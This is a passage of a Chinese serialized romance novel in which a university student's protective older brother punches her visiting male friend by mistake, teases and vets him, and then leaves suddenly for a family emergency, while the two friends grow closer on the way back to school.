两人坐在花坛边沿,看着小朋友们嬉戏。
忽然一个小女孩跑到楚忘殊面前。
“姐姐,我可以和你玩一个游戏吗?”小女孩稚嫩的声音响起。
“当然。”楚忘殊蹲下身,和她平视,“要怎么玩?”
小女孩让她伸出手,然后拍了拍她的掌心,问她哪只手更疼。
楚忘殊回答说左手。
小女孩开始捏她左手的每个指尖,又经过一系列的动作,小女孩终于来到最后一步——用自己的手沿着她指尖对齐,然后开始滑动。
她翻开手掌,低头认真地研究着,而后轻叹口气。
“怎么了?”见她闷闷不乐的,楚忘殊不禁问。
小女孩用另一只手指着两人紧挨着的手,“姐姐你看,如果我们的手感情线能对齐的话,就说明我们有缘分,但可惜,我们没对齐。”说完她又忧愁地叹了口气。
楚忘殊哭笑不得,小孩相信的东西奇奇怪怪的。
她摸摸小女孩的脑袋,安慰她:“我们手的大小不一样,所以才对不齐的,不是我们没有缘分。”
小女孩抬起头,有些腼腆地问:“真的吗?”
“当然。”楚忘殊回应她。
为了让小女孩更信服,她补上一句,“如果真的没缘分的话,我们怎么会遇见呢?”
小女孩果然相信,咧嘴笑开。
楚忘殊看着小女孩笑着跑去玩,嘴角也不自觉勾起。
等小女孩跑远,她才慢慢收回目光。
收回的一瞬间,她看撞上祝屿白的目光。
他坐的地方,正好在一棵树下,阳光透过树荫洒下,隐隐绰绰,细碎的光影投在他脸上。
他眉眼含笑,目光毫不遮掩地看向她。
楚忘殊率先移开视线。
不知道为什么,她直觉告诉她现在最好不要和他对视。
楚忘殊这次来这里,主要是为了确认学生资助金的发放情况,还要看看有没有新的需要资助的学生。
这一系列完成后,两人启程回云城。
昨晚到这里的时候,天色已晚,加上她还睡着了,都没好好看看这。
她坐在客车上,经过路边时,她掀开车窗帘往外看,才发现外面搭上了很多塑料大棚。
他们前排的乘客,也刚好往外看,正在讨论着这些大棚的用途。
从两人的谈话中,楚忘殊大概听出来,这些大棚是用来种草莓的。
昭树镇今年开始大规模的种草莓,还建起了食品加工厂,帮助地方发展。
楚忘殊靠回椅背上。
真好,这里的人们可以有另外一条路生存,不用再过着靠天吃饭的生活,这里的孩子们也不用再因为缺钱而辍学。
客车呼啸前行,这座小镇也是。
不出意外地,楚忘殊又在车上睡着。
祝屿白偏头看向靠在他肩上的人,目光从她的鼻尖流连到薄唇。
她似乎比来的时候更放松。
昨天的她,即使睡着了,也是双手环抱着,一副生人勿近的气场。
而现在,她双手随意垂下,手指蜷曲起一个弧度。
祝屿白伸出食指,碰了碰她的指尖。
手指相接的那一刻,祝屿白心跳漏了一拍。
他低低笑着,光是这样安静地和她坐在一起,他就觉得很满足了。
不知道就这样看着肩上的人多久,他目光慢慢挪到楚忘殊掌心上。
他盯着自己的手,随后鬼使神差地伸出,缓缓向楚忘殊低垂着的手靠近。
一阵风从车窗吹进来,掀起车窗帘,阳光落在车内贴近的两只手上——掌纹那条代表着感情线得纹路,像一条严丝合缝的线紧紧交缠在一起。
——
云城,楚忘殊和祝屿白经过五个多小时得颠簸——其中一段路上遇上了堵车,终于回到家。
两人靠在沙发上,摸摸放松四肢,坐了那么久的车,感觉手脚都快死了。
“今晚吃什么?”
楚忘殊提出此刻最重要的问题。
“要不点外卖吧,我实在不想动。”她自顾自说道,“我知道一家的菠萝饭和乳扇很好吃,你要不要尝尝?”
终于得到说话机会的祝屿白:“……好。”
她刚才的话就差把“我想吃”说出了,他不想让她失望。
楚忘殊立马掏出手机下单。
一切搞定,两人有一搭没一搭地说着话,等外卖到。
二十分钟后,楚忘殊电话响起,她接通,应了声好。
“外卖员进不了小区,我去拿外卖。”她对祝屿白解释。
祝屿白点点头。
这小区他不认识路,他去拿的话可能还要楚忘殊出去找他和外卖。
门关上,楚忘殊的身影消失。
祝屿白起身,去冰箱里拿了盒酸奶。
在与楚忘殊短暂的几顿饭里,他发现她吃饭很喜欢配一盒酸奶。
他又洗了盆水果。
刚擦干手,门铃响起。
祝屿白抬眼看去,难道是她忘带钥匙了?
他快步走过去开门。
门外个陌生男人,手里抱着个黑色鎏金礼盒。
“你是谁?”
双方几乎同时开口。
门外站着的男人慢条斯理地将手里的礼盒放下,缓缓站起身。
他忽然朝祝屿白的方向冲来,攥紧拳头,直直砸向他。
祝屿白始终警惕着,留意着门外人的动静。
他往后退一步,却不小心踩到拖鞋,踉跄一下,对方的拳头从他眼角擦过。
皮肤瞬间传来火辣辣的痛感,祝屿白顶了顶后槽牙,刚想反击,门外忽然传来楚忘殊的声音。
“哥?”
两人齐刷刷看向声音来源——楚忘殊。
她双手提得满满当当,全都是外卖包装袋。
她盯着楚砚青,似乎在确认是不是幻觉。
过了一两秒,她猛然瞥见祝屿白脸上的伤——他皮肤白,一挂彩就特别明显。
“这是怎么回事?”她跑上前,将手里的东西丢下,托起祝屿白的脸,慌忙问。
她才出去一会儿,
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怎么就受伤了?
“不用想了,我干的。”楚砚青臭着脸,走上前,拉开楚忘殊的手,隔在两人中间。
“我敲门,一打开就是个陌生人,我第一反应肯定是小偷啊,然后就动手了。”楚砚青声音很低沉,憋着气。
楚忘殊踩他一脚,“楚砚青,你怎么还是这么急躁?什么都没弄明白就动手?”
“你好意思说我?几个月不见,胆肥了啊,什么人都往家里带?”楚砚青睨她一眼,揪着她的耳朵,没好气地说。
“疼疼疼,放手。”楚忘殊拍开他的手,一脸幽怨地看着他,“我这是事出有因,谁知道你回突然回来……”
楚砚青咬牙切齿:“听你这意思,还怪我咯?如果我不回来,你还不打算告诉我?”
他看向祝屿白,话却是对着楚忘殊说的,“不介绍一下?顺便解释解释你这事的‘因’。”
“这是祝屿白,我朋友。”她说完,指着楚砚青,“这是楚砚青,我哥。”
介绍完,她忽然觉得这情形似曾相识。
好像,上次沈泊希回来的时候也是这样?
“他来云城旅游,卡不小心冻结了,在这又只认识我,所以就连这借住几天。”楚忘殊解释完,又看见祝屿白脸上的伤,踢了一脚楚砚青,“还不向人道歉?”
说完先提着外卖袋子进了屋,放下外卖,她又拐进一个房间。
门口的两人,面面相觑。
“抱歉,刚是我唐突了。”楚砚青率先伸出手,打破沉默。
“没事。”
楚砚青捡起地上的礼盒,换了鞋进门。
祝屿白注意到,他换的鞋就是刚才挡了自己一下的那双。
两人在沙发上坐下,楚砚青好整以暇地打量着祝屿白,“祝同学和小殊在一个班?”
“不是,我比她高一个年级。”
“哦,这样啊。”楚砚青披着一张带笑的脸,可是语气却完全没有笑意,“我们家小殊上大学后不太乐意交朋友,我还以为她最多只会和宿舍的人打打交道,没想到还能交到跨年级的朋友。”
“她值得。”祝屿白又切换成话少模式,和在楚忘殊面前完全不同。
“关于这点,我一直如此认为。”楚砚青轻笑,不动声色地显示他对楚忘殊的了解,远远超过祝屿白。
“楚砚青,你给我收起你商场上的那副嘴脸。”楚忘殊从房间出来,手里提这个医药箱,走到祝屿白旁边坐下,拿出一只药膏,“你自己抹还是我帮你?”
祝屿白瞥了一眼茶几对面死死盯着他的楚砚青,顿了一会,“我自己来吧。”
楚忘殊嗯了声,将棉签和药膏递给他。
她刚想坐远点,祝屿白嘶的一声痛呼传出。
“抱歉,我看不到伤口,下手有点重没忍住。”他愧疚地看着楚忘殊,似乎在因自己的疼痛自责。
说完他又毫无方向感地去抹药。
还是偏的。
这次他没出声,只是眉头紧锁,强忍着痛苦。
“我帮你吧。”楚忘殊看不下去了,主动揽过来。
“麻烦你了。”祝屿白轻声说。
对方的楚砚青,牙都快咬碎了。
楚忘殊这木头脑袋,看不出来这家伙是故意的吗?
这简直是个死绿茶!
就知道弄出些死动静勾引他妹!
一个大男人挨了一拳都受不了,干脆改姓林算了!
28. 搭子日记二十八
屋内一时寂静无声。
楚忘殊专心致志地上药,祝屿白静静地看着她。
对面的楚砚青,眼刀子直直飞向紧挨着的两人。
虽然两人只是个十分正常的距离,但在他眼里,就是不正常。
“楚忘殊。”楚砚青直呼她的名字。
楚忘殊回过头,手里的动作停下,“什么事?”
“我的U盘在哪?”楚砚青坐直身子,语气中含着微微的着急。
他突然转变的语气让楚忘殊也严肃起来,以为是很重要的东西,“你着急用吗?”
楚砚青点点头,“现在就要用,很着急,你去给我找找。”
楚忘殊默了两秒。
见状,楚砚青再次开口,“我记得当时是拿给你收起来的,我不知道在哪,抹药的话我来替他抹。”最后一句话说得阴恻恻的。
楚忘殊沉浸在他急用U盘,没听出他语气有什么不对劲。
闻言,她说行,起身把棉签拿给楚砚青,拐上楼去房间里找东西。
楼下的两人,楚砚青拿给棉签,定定地看着祝屿白,“需要我帮你吗?”
祝屿白沉默,好一会儿才说:“不用,我自己来。”
他接过棉签,精准地在伤口附近涂抹药膏,不一会儿就完事了。
“哟,这不是挺熟练的吗?”楚砚青冷笑。
“刚才抹了药,触感不一样,很容易定位。”
楚砚青:“……”
我就说这家伙是装的吧!
楚忘殊下楼时,看到的就是两人各占山头、分界线十分明显的情形。
她将U盘丢给楚砚青,“是这个吗?”
楚砚青接过在手里把玩,“对,不过现在不急了。”
楚忘殊:“……”
耍我玩呢?
她在楚砚青旁边坐下,我祝屿白伤还疼不疼。
对方摇摇头。
“那就好。”她弯腰从茶几上拿了颗洗好的葡萄,慢悠悠地剥皮,胳膊撞了撞旁边冷着脸的楚砚青的手,“你怎么突然回来了?”
“上次不知道是谁问我什么时候回来,真回来了又不高兴。”楚砚青叹了声气,控诉着自家亲妹,说话的同时,视线紧盯着她手,等她剥完皮,直接抢过她手里的葡萄。
楚忘殊:“……”
幼稚!
“我哪里不高兴了?”她不忘为自己正名。
只是他回来的太突然,而且出现的时机又太微妙,她太惊讶了而已。
“这样吗?我还以为除了沈泊希,我的地位又要下降了一名。”他意有所指地看向祝屿白。
对方仍是一脸淡然,好像听不出他话里的阴阳怪气。
楚砚青讪讪然,收回视线,又抢了一颗楚忘殊剥好的葡萄后,下巴一抬,指向一旁的礼盒,“给你带的。”
听到有礼物,楚忘殊眯着眼笑开,对他露出个谄媚的笑,手里不忘献上剥好皮的葡萄,“哎呀,我亲爱的哥哥在我心里肯定是当之无愧的第一啊。”
“礼物是什么?”好听的话说出不到一秒,她露出本来面目。
“自己看。”早已习以为常的楚砚青,还臭着一张脸,眼神却瞟向楚忘殊,观察着她看到礼物的神色。
“VR眼镜?”楚忘殊拆开礼盒。
“有没有比你那只臭兔子好一点?”楚砚青嘴巴还是那么毒,这时候都不忘提起这茬。
此刻的楚忘殊忙着戴上体验,没空搭理他。
戴上VR后,楚忘殊嘴巴微张,很惊奇,立面居然是一篇完整的兰亭集序!
每行都是立起来的,好像从土里长出来一样,周围还有很多微小的水墨画做装饰,完美的视觉享受!
好吧,她承认,比她送给楚砚青的那只兔子好上很多倍!
她痴迷地呆看着,不知不觉跟着字移动。
没走几步,膝盖忽然撞到沙发脚,一个踉跄跌坐在沙发上。
VR带着有些沉,她跌倒向前倾,带着她的头往下偏。
没有预想的疼痛,她的脸落入一只温柔手掌上——是祝屿白的。
很神奇,她眼睛没看见,但她就直觉是祝屿白。
她坐直身子,摘下VR,果然是他。
“谢谢。”她笑了下,向他道谢。
“没事。”
“有没有磕到?”楚砚青慢半拍的声音火急火燎地插进来。
“哥,你也太夸张了吧,我就碰到个沙发脚,能有什么事?”楚忘殊无力吐槽。
见她没事,还有心情怼他,楚砚青放下心,立马换了一副欠欠的表情,“我是担心磕坏沙发。”
楚忘殊:“……”
我谢谢你啊。
客厅忽然响起一声咕咕声。
“额,我饿了。”楚忘殊不好意思地举手。
外卖早就到了,但因为楚砚青这“不速之客”的出现,打乱了两人的节奏,差点忘了外卖。
“楚砚青,你吃饭了吗?要不要和我们一起吃。”楚忘殊在餐桌上打开包装袋,头也不抬地问楚砚青。
“吃。”
他虽然不饿,但绝对不可能让他俩单独吃的。
还好楚忘殊点的足够多,三人吃也绰绰有余。
楚忘殊和楚砚青坐在一边,对面坐着祝屿白。
楚忘殊毫不顾忌形象,一心扑在食物上,期间不忘给祝屿白推荐她觉得好吃的。
祝屿白慢条斯理,不动声色地观察楚忘殊吃得多的,想看看她爱好的口味,最后再和她吃一样的。
餐桌上最后一个人,没什么胃口,拿着筷子戳着碗里的乳扇。
“不想吃就不要虐待美食好嘛。”楚忘殊一记眼刀飞过去。
楚砚青放下筷子,难得没呛她,双手环抱在胸前,靠在椅背上,问祝屿白:“祝同学打算什么时候回去?”
祝屿白没接话,反倒是楚忘殊先开口:“后天,我们到时候一起回去。”
楚砚青夹起一个红糖糍粑塞进她嘴里,眼神好像在说他没长嘴吗?要你当他的发言人?
楚忘殊:“……”
楚砚青这狗东西好过分!但红糖糍粑好好吃!
“我后天回去。”祝屿白放下筷子,平视着楚砚青。
“和小殊一起?”
“咳咳咳——”
一旁的楚忘殊剧烈咳嗽起来,不可置信地瞪大眼睛望着楚砚青,不敢想这称呼居然是从这家伙嘴里吐出来的。
她刚想说话,楚砚青一记眼刀剜过来。
好吧,她闭嘴。
“嗯。”祝屿白点头。
“那祝同学你改签先回吧,楚忘殊还要过几天才回去。”楚砚青还是笑着,让人无法看透他真正的想法。
许是想起刚才的称呼把旁边的某个人吓到咳起来,他换回了正常的称呼。
祝屿白没立刻答,
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抬眼去看楚忘殊,询问她也是这个意思吗?
“啊?我为什么还要过几天才回去?”楚忘殊一脸懵,问楚砚青。
楚砚青:“……”
忍住,这是自己亲妹。
“赏脸陪你亲哥玩几天?”他睨她,微微侧身,手搭在椅背上,“我记得沈泊希回来的时候,你不是听殷勤地陪他玩这玩那吗?怎么,现在到我,还需要和你预约吗?”
楚忘殊咬着筷子,直摇头,“不用不用。”
说完,她转向祝屿白,“那你先回?”
祝屿白只好点头说好。
楚砚青舒服了,心情很好地勾着笑。
吃完饭,楚砚青上了楼,临走时看了一眼楚忘殊。
五分钟后,楚忘殊推开书房门。
“喊我上来干嘛?”她拉开椅子坐下,趴在书桌上,眯眼看他。
“我什么时候叫你了?”对面的楚砚青老神在在地拿着本书,看也不看她。
“没事那我走了。”楚忘殊作势要走。
楚砚青刚想叫她坐下,她忽然打了个回马枪,转过身,“友情提示,你的书拿反了。”
楚砚青默默调整书的方向,悉悉索索的声音格外明显,他索性一把放下,朝前面的人喊,“楚忘殊,回来。”
“说吧,到底什么事?”楚忘殊脚下一拐,行云流水坐下。
“不打算解释下楼下那位?”
楚忘殊:“……”
怎么又是这事,她都解释多少次了。
“我们就是朋友。”她无奈瘫在椅子上,双眼无神地盯着天花板,“这次就是他想趁假期来云城旅游,但钱出了点问题,在这也只认识我一个人,大家都是同学,抬头不见低头见的,我就好心收留他暂住几天。”
说完,她手一摊,“就这样。”
楚砚青好整以暇地看着她,似乎在判断她话的真假。
最后,在楚忘殊坦坦荡荡的目光中,他幽幽吐出一句,“这么随便跟人回家的,能是什么好人。”
楚忘殊:“……”
服了,以前怎么没见这人这么疑心疑鬼。
“妹妹。”楚砚青忽然叫她。
楚忘殊一怔。
她不知道其他的兄妹是如何相处的,但在她和楚砚青相处的大多数时间里,两人都只会直呼对方的名字。
印象中,她只会在得到楚砚青的好处时,才狗腿地叫他哥哥。而楚砚青,好像从来没有喊过她妹妹。
这还是第一次。
“我不反对你谈恋爱。”他低声说,“但我希望你学会看人,去喜欢一个好的人。不要因为心急,盲目开启一段恋爱;也不要封闭自己,隔绝所有人的视线。”
他嗓音越来越低,最后站起身,走到楚忘殊面前,摸了摸她的脑袋,又恢复了那副欠欠的样子,“哎,还是和小时候一样矮。”
楚忘殊作势要踢他。
楚砚青熟练地躲开,又继续说:“那就继续像小时候一样,遇见心慌的事情,默念‘我哥散打九段,我哥散打九段’。”
楚忘殊吸鼻子,“搞什么嘛,突然这么煽情。”
楚砚青笑了下,弹了弹她脑门,故意开玩笑,“收到情书,记得先看一下字迹工整度,连字都写不好,承诺能有多认真。”
楚忘殊:“你当这是书法大赛啊?”
脑子里却莫名想到,祝屿白的字好像挺工整、挺好看的。
29. 搭子日记二十九
第二天,云城的天蓝得像Windows桌面一样。
万里无云,只剩一个火球在天上。
中午,三人坐在餐桌上,吃祝屿白做的饭。
不久前,祝屿白提出他做饭时,楚砚青轻嗤一声,明显不信。
就他那一副十指不沾阳春水的样,做出来的饭能好吃?
“楚砚青,怎么样?我就说他做饭一流吧!”楚忘殊想起刚才他信誓旦旦地说绝对不好吃的样子,就觉得好笑。
楚砚青凉凉地瞥她一眼,她瞬间噤声。
一顿饭吃完,楚砚青相当满意,但嘴还硬着,“也就一般。”
“谁刚才一个人吃完了一半啊?还一般般?”楚忘殊吐槽,她推了推楚砚青,“去洗碗。”
她和楚砚青在这方面分得非常清楚。
碰到只有两人在家时,总是一个人负责做饭,另一个人负责洗碗。
鉴于楚忘殊厨房杀手般的存在,楚砚青也不放心她上手。
所以每次都是他做饭,而楚忘殊负责洗碗。
这次楚忘殊很顺手地使唤楚砚青。
虽然饭是祝屿白做的,但他可是她的朋友哎!四舍五入一下,不就相当于是她做的饭了吗?
所以,让楚砚青洗碗合情合理合法。
两人推辞间,祝屿白起身收拾碗筷,谁料楚砚青噌地站起来,抢先一步。
临走时看他一眼,似乎在说,想要表现吗?
做梦!他绝对不会让这家伙得逞的!
祝屿白:“……”
好吧,你想上就上吧。
一起收拾妥当,三人坐在沙发上。楚忘殊不知道从哪顺了盆草莓,正抱着吃,电视上播着一部南极科考纪录片。
“我打算今天走了。”祝屿白冷不丁开口。
“好,拜拜。”楚忘殊顺嘴说道,眼睛还钉在电视上。
下一秒,她终于反应过来,忙追问:“等等,你刚才说什么?”
祝屿白重复一遍:“今天走了,回江州。”
“我派司机送你?”楚砚青神色平淡,幽幽开口道。
祝屿白:“不用。”
说完,他又看向楚忘殊。
对面的人还在愣神,似乎还没从他要走了的消息中缓过神来。
“楚忘殊,学校见。”
他轻声和她道别。
楚忘殊愣愣点头,机械地扬起手。
直到祝屿白走到玄关处换鞋,她才发现祝屿白的行李箱早已放在了门口。
看来他是早就做好这个打算了。
咔嗒一声,门关上,祝屿白的身影消失。
楚忘殊仍看着他离开的方向,用牙签戳着的草莓还悬在嘴边。
“魂丢了?”楚砚青靠在沙发上,好整以暇地看她。
楚忘殊回神,咬了口草莓,“没有。”
她心里却在想,祝屿白卡不是冻结了吗?他有改签费?
“下午想去哪玩?我带你去。”楚砚青从她面前的盆里扒拉出一个草莓,丢进嘴里。
楚忘殊没回答他,加快吃草莓的速度。
楚砚青:“……你干嘛?不怕噎着?”
“再不吃……就……被你抢完……了。”楚忘殊嘴里塞得满满当当。
楚砚青:“……”
切,幼稚。
他手下意识往她面前的草莓伸,转眼看到楚忘殊护食而狼吞虎咽的样子,又默默放下。
他靠回沙发,重复:“下午想去哪玩?”
楚忘殊头也不抬,“外面太阳这么毒,出去一会儿就烤焦了,你确定还要出去玩?”
“去。”楚砚青斩钉截铁。
楚忘殊放下草莓,盘着腿溜回沙发上,“你干嘛这么执着带我出去玩?”
没等楚砚青说话,她兀自猜测道:“是不是又要坑我?”
楚忘殊想起从前,楚砚青一系列坑妹的行为——小学时突然好心提出帮她做作业。作业确实做了,但是用她根本没学过的知识做的,还在作业本上画了个嘲讽的表情包,害得她被老师教训一顿。初中说为她剪个绝美刘海,最后剪了个狗啃式……
她不寒而栗,在这艳阳天愣生生打了个寒颤。
楚砚青无语,好半天才蹦出一句:“能不能对你哥有点信任?”
“……不能。”楚忘殊低声嘀咕。
楚砚青:“……”
这妹妹谁爱要谁要吧!
“给你个面子,出去玩。”楚忘殊兴致勃勃,冲到书房拿平板,开始计划待会去哪。
楚砚青没怎么在云城待过,最多在看楚忘殊的时候来过几次。
论熟悉度,肯定比不上在这生活了十多年的楚忘殊。
她还挺期待这次出去玩的。
虽然云城的各个角落她都差不多走遍了,但这次,是和楚砚青一起。
一顿捣鼓之后,楚忘殊将平板递到楚砚青面前,“看看这些地方行不行?”
“人太多。”
“设施太老旧。”
“风景没意思。”
……
他指着她列出的行程,一一反驳。
楚忘殊:“……”
“不是,你又不了解云城。”她幽怨地看着他。
“谁说我不了解。”
楚忘殊挑眉,“哦?”
她倒要看看他能编出什么花来。
“我之前的办公室都挂着一幅云城的地图好嘛,街道我都可以背下来了。”
楚忘殊:“你这么有闲心?”
“你管我。”
楚砚青仰着头,十分傲娇。
在楚忘殊面前的他,完全没有一点在商场上叱咤风云的凌冽模样。
他想起当时放地图的原因——那座城市里有他想念的人。
外公外婆,还有他唯一的妹妹。
无法在她身边陪她长大,那就至少知道她生长的地方是什么样的吧。
那样,他觉得他们之间就存在着某种联系。
“收拾东西,带你去滑雪。”
楚忘殊欣喜若狂,不敢置信道:“真的假的?你之前不是不许我去滑雪的吗?”
“那是我不在,怕你摔个缺胳膊少腿的。”楚砚青温柔不到一秒,那张淬了毒的嘴又占据主动权。
楚忘殊:“……”
“我们怎么去?”无语归无语,楚忘殊还是很期待地问。
“当然是飞过去。”他顿了顿,笑着,“你想走过去也行,但可能等你走到,雪场的雪也化了。”
楚忘殊咬着牙,扬起个假笑:“亲爱的哥哥,如果你此刻嘴巴闭起来,就更好了。”
简单收拾了点东西,两人坐上车,出发前往机场。
楚忘殊带的东西不多,就拿了个斜挎包,反正滑雪装备什么的,楚砚青都会安排好。
街景慢慢后退,车子驶离市中心,高楼大厦逐渐消失在视野里。
楚忘殊眼皮耷拉着,缓缓闭上眼睛,睡着了。
不知道过了多久,楚砚青将她喊醒,“瞌睡大王,到了。”
楚忘殊模模糊糊地下车,拽着楚砚青的衣角,跟着他走。
两人
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在候机厅坐下,楚忘殊意识清醒了不少。
想到再过几个小时,她就可以在雪场里肆意驰骋,她兴奋得差点手舞足蹈。
楚砚青这会儿正抱着个电脑处理公务,她也没敢打扰,隔得远远的。
忽然,楚砚青手机响了。
他没立刻接,而是先把手上的工作结束,合上电脑后才拿起手机。
“什么事?”
他没开免提,楚忘殊听不清对面的话。
“我知道了。”好一会儿后,他说。
挂断电话,他看向楚忘殊。
楚忘殊嘴角的笑僵住。
她直觉是出了什么意外。
“怎么了?”她走近。
楚砚青抿唇,“妈……不小心摔了一跤。”
楚忘殊一愣,不知道该做出什么反应。
楚砚青欲言又止地看着她,楚忘殊帮他说完:“很严重?你现在要走?”
他点点头。
楚忘殊坐下,脑袋一片空白。
她不知道是因为意识到楚砚青马上就要离开,还是担心……
“你……想不想和我一起回去看看?”楚砚青试探地问。
“不用,见到我她的伤可能更不容易好了。”楚忘殊低着头。
她努力挤出一个笑容,“哥,拜拜,下次见记得欠我一次滑雪。”
说完,她离开候机厅。
她不想每次都是她看着他离开。
她也不想去滑雪了。
机场人来人往,行色匆匆。
楚忘殊蹲在一个角落——能看到所有国际航班起飞。
蹲得脚都有些麻了,她才终于听到楚砚青目的地的播报声。
半小时后,湛蓝色天空中迎来一架白色机身的飞机。
是楚砚青乘坐的那班。
角落里,楚忘殊站在原地,定定看着飞机在滑道上滑行、上升,最后变成一个小白点消失在空中。
这里的风好讨厌,净吹些灰尘进她眼睛里,让她眼睛那么难过,想要掉眼泪。
她伸手抹干,离开了机场。
回到家,她呆坐在沙发上,脑袋放空。
周围寂静无声,空荡荡的。
谁能想到,早上这里还坐着三个人呢。
她起身去冰箱拿酸奶,路过厨房门口,想起祝屿白在这里系着围裙做饭,让人忍俊不禁。
路过餐桌,又想起早上楚砚青一边说着“一般般”,一边吃得比谁都多的样子。
……
好烦。
坐在客厅里,脑海总会浮现这几天的场景,让她思绪很乱。
她索性上楼蒙头睡觉。
窗外月亮高悬,凌晨三点,她扯开被子,黑夜中眼睛睁得大大的。
不知道她严重不严重?
不知道祝屿白几点回到江州的?
第二天,她顶着个黑眼圈起床。
她稍微遮了遮,去周爷爷家道了别,出发去机场准备回江州。
周爷爷问了她句祝屿白怎么没和她一起来,她说他昨天就回去了。
闻言,周爷爷也没再说什么,让她路上注意安全。
楚忘殊点点头。
到机场时,她收到楚砚青的消息。
【亲爱的哥哥:妈妈情况还好,不用担心。】
她没回,忙着先去办值机。
一切就绪,她拿好登机牌上了飞机。
找到座位坐下,她拉低鸭舌帽,盖上眼罩,准备睡觉。
忽然有人碰了碰她,“你好,你旁边有人吗?”
30. 搭子日记三十
楚忘殊慢悠悠地摘下眼罩,蹙着眉。
昨晚睡不着,今天又一大早起来赶飞机,快累死了。
现在刚眯一会儿就被人喊醒。
再说,不会看自己的登机牌?
这又不是公交车座位,看哪没人就坐哪吗?
她皱眉,尽量控制着自己的语气不那么冲,刚想开口,一抬头,她望着眼前的人,愣在原地。
怎么会是祝屿白?
他不是昨天就走了吗?
她皱起的眉慢慢舒展,祝屿白淡定坐下,“好巧。”
楚忘殊嘴角一抽,巧什么巧?
机票当时不是一起买的吗?
“你没有改签提前回去?”她惊讶的声音有点大。
还好这会儿还在登机,话音淹没在后面悉悉索索的背景音里,并不刺耳。
“提前一天改签,手续费太贵。”祝屿白回她。
他说的时候,表情还很严肃,甚至有些开心,似乎找到了个很好用的借口。
楚忘殊:“……”
这个理由是她没想到的。
不过也好,祝屿白眉提前改签回去,一路上还能和他说说话。
片刻后,她忽然意识到一个问题:“那你昨晚住在哪?”
他没钱,自然也不能住酒店。
该不会露宿街头了吧?
祝屿白正在喝水,闻言忽然咳了咳,被水呛到。
平复下来,他没看楚忘殊,目光不知道飘在哪,一个劲地乱转。
“朋友,一个朋友家。”他说,声音有些悬浮,他就像手不知道放哪似的,又拿起水喝了一口,喝完又强调一遍:“对,我住在一个朋友家。”
不知道是为了说服自己,还是让楚忘殊相信。
楚忘殊不疑有他,没多想。
还很为他高兴,还好他朋友昨晚回来了,收留他一晚,不然他真就以天为盖了。
祝屿白一直观察着楚忘殊的反应,见她一脸高兴,松了口气。
他侧身拉安全带,系好卡扣。
“等等。”楚忘殊的手忽然抚上他眼角。
他身子一僵,一动不动,由着她的动作。
楚忘殊的指尖微凉。
可祝屿白却觉得被她摸到的那一小块地方,越来越烫,似乎所有的血液都冲向那一个点爆发,连带着让他整张脸都烧起来。
“还疼吗?”她轻声问。
她还注意着这是在座位上,刻意压低着声音,怕吵到别人。
祝屿白反应过来,她在看他被楚砚青揍到的那一拳的伤口。
“不疼了。”
“对不起啊,我哥下手太重了。”楚忘殊很愧疚。
虽然他嘴上说着不疼,但伤口破了皮,还没好,露出薄薄的血色,血将出未出,看着很瘆人。
在祝屿白这张脸上,挂着这样的伤口,怎么看怎么不顺眼。
祝屿白笑了下,安慰她:“我真的不疼。”
怕她不信,他直接用手戳了戳伤口。
嘶,下手没轻没重,还是有点疼。
他眉毛皱了下,后来又努力展开。
他说了不疼的,不能让楚忘殊看出来。
楚忘殊在一旁好笑地看他,明明很疼还最硬的样子。
“行,不疼就不疼吧。回学校请你吃饭,当替我哥向你赔罪了。”
祝屿白点头,随后又摇头、
楚忘殊不解。
“吃饭可以,赔罪就不用了。”他将她的眼罩拉下,“昨晚没睡觉?困了就先睡会。”
眼前漆黑一片,楚忘殊本就有些困,听他这么说,她也就顺着他的话睡会儿。
祝屿白向空姐要了床干净的毛毯,拆开后盖在她身上。
他小心地摸了摸眼角——楚忘殊摸过的地方。
想起刚才她说要请他吃饭,他嘴角勾了下。
他想和她一起吃饭。
但赔罪的话,他并不怪楚砚青,所以何谈罪?
毕竟,楚砚青并没有误解他。
那晚,他确实想做个小偷。
偷走屋内于他而言最珍贵的宝物。
他偏头看了一眼熟睡的楚忘殊。
机舱门关闭,飞机上行,失重感让楚忘殊不舒服地翻了翻身。
她寻了个舒适的位置,脸侧向舷窗,只露出一截坚韧白皙的脖颈。
祝屿白眼睛移开,嘴角带笑。
飞过气流层后,飞机平缓下来。
窗外白绵绵的云朵,仿佛一摸就会消散。
万米高空上,两人相邻而眠。
轻缓的呼吸声,分不清是谁的。
下午一点,航班到达江州市。
刘叔早早就到了机场等楚忘殊,在看到她身边的祝屿白时,他明显一愣。
上了车,前排的刘叔看了眼后视镜里的楚忘殊。
见她没睡着,温声说:“砚青让我转告你,夫人没事,让你不用担心。”
楚忘殊一愣,想起自己还没回楚砚青的消息。
她点头,“好,我知道了。”
随后她拿出手机,调出楚砚青的消息,聊天记录还停留在上午他发来的消息。
她捏着手机,片刻后丢在座位上。
算了,不知道回什么。
她没什么心情,靠窗百无聊赖地盯着路边的绿化带。
祝屿白没打扰她,知道她现在想一个人待会。
让刘叔将车停在学校门口,他下了车。
“到家了。”车子停下,刘叔转过头来喊楚忘殊。
她这才惊觉祝屿白早下了车。
叹了口气,她也下了车。
本打算飞机落地就请他去吃饭的,但没想到她沉浸在自己的情绪中太久,连他什么时候下车都不知道。
看来只能等下次了。
国庆假期还剩两天,楚忘殊就在家躺了两天。
周一去上课时,她觉得她的脑子应该忘了带着来,还在家。
还好上午只有选修课,不太需要动脑子。
她趴着桌上,脑袋昏昏沉沉的,感受到旁边的祝屿白三番五次地向她投来视线。
但她不想说话,没力气,只想趴着,用桌子来辅助她的脑袋与地心引力的对抗。
一节课下来,她好像什么话都没听到。
直到教室里椅子腿划过地面的刺耳声乱哄哄响起时,她才意识到下课了。
“楚忘殊。”
有人在推她胳膊。
她费劲抬起头,发现是祝屿白,只是五官是模糊的。
还没等她完全看清,一只大手就伸过来,用手背碰上她的额头。
他手带着舒适的凉意,让她不自觉地跟着蹭了蹭他的手。
“楚忘殊,你发烧了。”祝屿白语气很焦急,“烧得很严重,得赶快去医院。”
楚忘殊迷迷糊糊间,只觉得他好聒噪。
像一只叽叽喳喳的麻雀,专门盘旋在她头顶叫唤。
想也没想,她直接伸出手,按上祝屿白的嘴巴,“安静。”
祝屿白:“……”
教室里的人都走光了,下节课这间教室没人。
最后一排,只剩
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下两人。
祝屿白真的安静下来,陪她坐在这里,等她睡得舒服些。
墙上钟表走了一圈又一圈,最后一缕洒进教室的阳光消散时,楚忘殊醒了。
教室安安静静,她慢慢抬起头,看到教室里空无一人后,混沌的脑袋有了片刻的清明。
“还没开始上课?”她机械转头,看向祝屿白,“还是已经下课了。”
祝屿白缓缓比了个“二”。
